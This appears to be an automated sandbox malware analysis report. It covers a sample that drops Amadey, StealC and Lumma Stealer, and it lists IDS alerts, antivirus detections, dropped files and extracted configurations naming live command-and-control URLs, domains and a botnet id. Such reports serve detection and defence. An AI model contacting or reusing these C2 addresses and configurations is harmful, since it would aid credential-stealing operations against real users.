2024-10-24T04:58:36.158483+0200	2044696	1	A Network Trojan was detected	192.168.2.6	50016	185.215.113.43	80	TCP
2024-10-24T04:58:42.129506+0200	2044696	1	A Network Trojan was detected	192.168.2.6	50028	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:08.665274+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	59230	1.1.1.1	53	UDP
2024-10-24T04:58:16.808564+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	54090	1.1.1.1	53	UDP
2024-10-24T04:58:32.445716+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	59700	1.1.1.1	53	UDP
2024-10-24T04:59:05.387426+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	49276	1.1.1.1	53	UDP
2024-10-24T04:59:05.413760+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	49276	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:08.592299+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	56185	1.1.1.1	53	UDP
2024-10-24T04:58:16.740631+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	51007	1.1.1.1	53	UDP
2024-10-24T04:58:32.356931+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	61430	1.1.1.1	53	UDP
2024-10-24T04:59:04.997240+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	60413	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:08.626495+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	51654	1.1.1.1	53	UDP
2024-10-24T04:58:16.778685+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	52330	1.1.1.1	53	UDP
2024-10-24T04:58:32.419425+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	65410	1.1.1.1	53	UDP
2024-10-24T04:59:05.304604+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	53985	1.1.1.1	53	UDP
2024-10-24T04:59:05.354566+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	53985	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:08.615810+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	62037	1.1.1.1	53	UDP
2024-10-24T04:58:16.766662+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	63559	1.1.1.1	53	UDP
2024-10-24T04:58:32.385743+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	54802	1.1.1.1	53	UDP
2024-10-24T04:59:05.264656+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	61578	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:08.689273+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	62851	1.1.1.1	53	UDP
2024-10-24T04:58:16.833875+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	53903	1.1.1.1	53	UDP
2024-10-24T04:58:32.469320+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	63847	1.1.1.1	53	UDP
2024-10-24T04:59:05.433656+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	61936	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:08.605467+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	50468	1.1.1.1	53	UDP
2024-10-24T04:58:16.753870+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	60296	1.1.1.1	53	UDP
2024-10-24T04:58:32.372991+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	56172	1.1.1.1	53	UDP
2024-10-24T04:59:05.016675+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	58339	1.1.1.1	53	UDP
2024-10-24T04:59:05.084447+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	58339	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:08.677233+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	52641	1.1.1.1	53	UDP
2024-10-24T04:58:16.819931+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	53629	1.1.1.1	53	UDP
2024-10-24T04:58:32.458316+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	58762	1.1.1.1	53	UDP
2024-10-24T04:59:05.417274+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	53415	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:08.644773+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	62282	1.1.1.1	53	UDP
2024-10-24T04:58:16.795079+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	49666	1.1.1.1	53	UDP
2024-10-24T04:58:32.435087+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	51188	1.1.1.1	53	UDP
2024-10-24T04:59:05.371554+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	59706	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:17.758349+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49743	104.21.53.8	443	TCP
2024-10-24T04:58:22.083525+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50003	104.21.53.8	443	TCP
2024-10-24T04:59:14.205575+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	59436	104.21.53.8	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:58:08.947261+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49995	185.215.113.37	80	TCP
2024-10-24T04:58:29.597552+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50009	185.215.113.37	80	TCP
2024-10-24T04:58:40.572681+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50026	185.215.113.37	80	TCP
2024-10-24T04:58:51.448295+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50041	185.215.113.37	80	TCP
2024-10-24T04:58:59.669942+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50052	185.215.113.37	80	TCP
2024-10-24T04:59:08.110224+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	59425	185.215.113.37	80	TCP
2024-10-24T04:59:09.628553+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	59428	185.215.113.37	80	TCP
2024-10-24T04:59:14.467641+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	59437	185.215.113.37	80	TCP
2024-10-24T04:59:26.851091+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	59442	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:58:05.822529+0200	2856147	1	A Network Trojan was detected	192.168.2.6	49993	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:58:17.634361+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49994	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:58:09.172132+0200	2803305	3	Unknown Traffic	192.168.2.6	49996	185.215.113.16	80	TCP
2024-10-24T04:58:19.471828+0200	2803305	3	Unknown Traffic	192.168.2.6	50000	185.215.113.16	80	TCP
2024-10-24T04:58:29.115839+0200	2803305	3	Unknown Traffic	192.168.2.6	50008	185.215.113.16	80	TCP
2024-10-24T04:58:37.087797+0200	2803305	3	Unknown Traffic	192.168.2.6	50017	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:18.975903+0200	2843864	1	A Network Trojan was detected	192.168.2.6	49753	104.21.53.8	443	TCP
2024-10-24T04:58:29.399351+0200	2843864	1	A Network Trojan was detected	192.168.2.6	50010	104.21.53.8	443	TCP
2024-10-24T04:58:51.729558+0200	2843864	1	A Network Trojan was detected	192.168.2.6	50042	104.21.53.8	443	TCP
2024-10-24T04:59:15.810174+0200	2843864	1	A Network Trojan was detected	192.168.2.6	59438	104.21.53.8	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:10.263189+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49711	104.102.49.254	443	TCP
2024-10-24T04:58:18.405725+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49997	104.102.49.254	443	TCP
2024-10-24T04:58:33.983335+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50012	104.102.49.254	443	TCP
2024-10-24T04:59:06.903808+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	59424	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\HR483MUGWRQ77A8EZ5D.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000003.2596824041.0000000005350000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 31.2.num.exe.fd0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 3f779c1cca.exe.6836.11.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["mobbipenju.store", "clearancek.site", "spirittunek.store", "bathdoomgaz.store", "dissapoiznw.store", "eaglepawnoy.store", "licendfilteo.site", "studennotediw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\HR483MUGWRQ77A8EZ5D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QVVPAZNCIISWKSVDLM23B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59409 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59414 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59419 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59420 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:59424 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59427 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59432 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59433 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59438 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59452 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59464 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59465 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 8Z5C764IBSHZ8A5U9SVRCREF.exe, 0000000D.00000002.3124576963.0000000000302000.00000040.00000001.01000000.0000000E.sdmp, 8Z5C764IBSHZ8A5U9SVRCREF.exe, 0000000D.00000003.2987877542.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe, 00000024.00000003.3210744266.00000000051B0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Directory queried: number of queries: 1523

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 187MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:52641 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:62037 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:59230 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:56185 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:62282 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:50468 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:62851 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:51654 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49993 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49995 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:63559 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:51007 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:52330 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:60296 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:53903 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:54090 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:53629 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:49666 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49994
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49998 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50007 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50009 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:65410 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:56172 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:54802 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:58762 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:51188 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:59700 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:63847 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:61430 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50016 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50026 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50028 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50041 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50052 -> 185.215.113.37:80
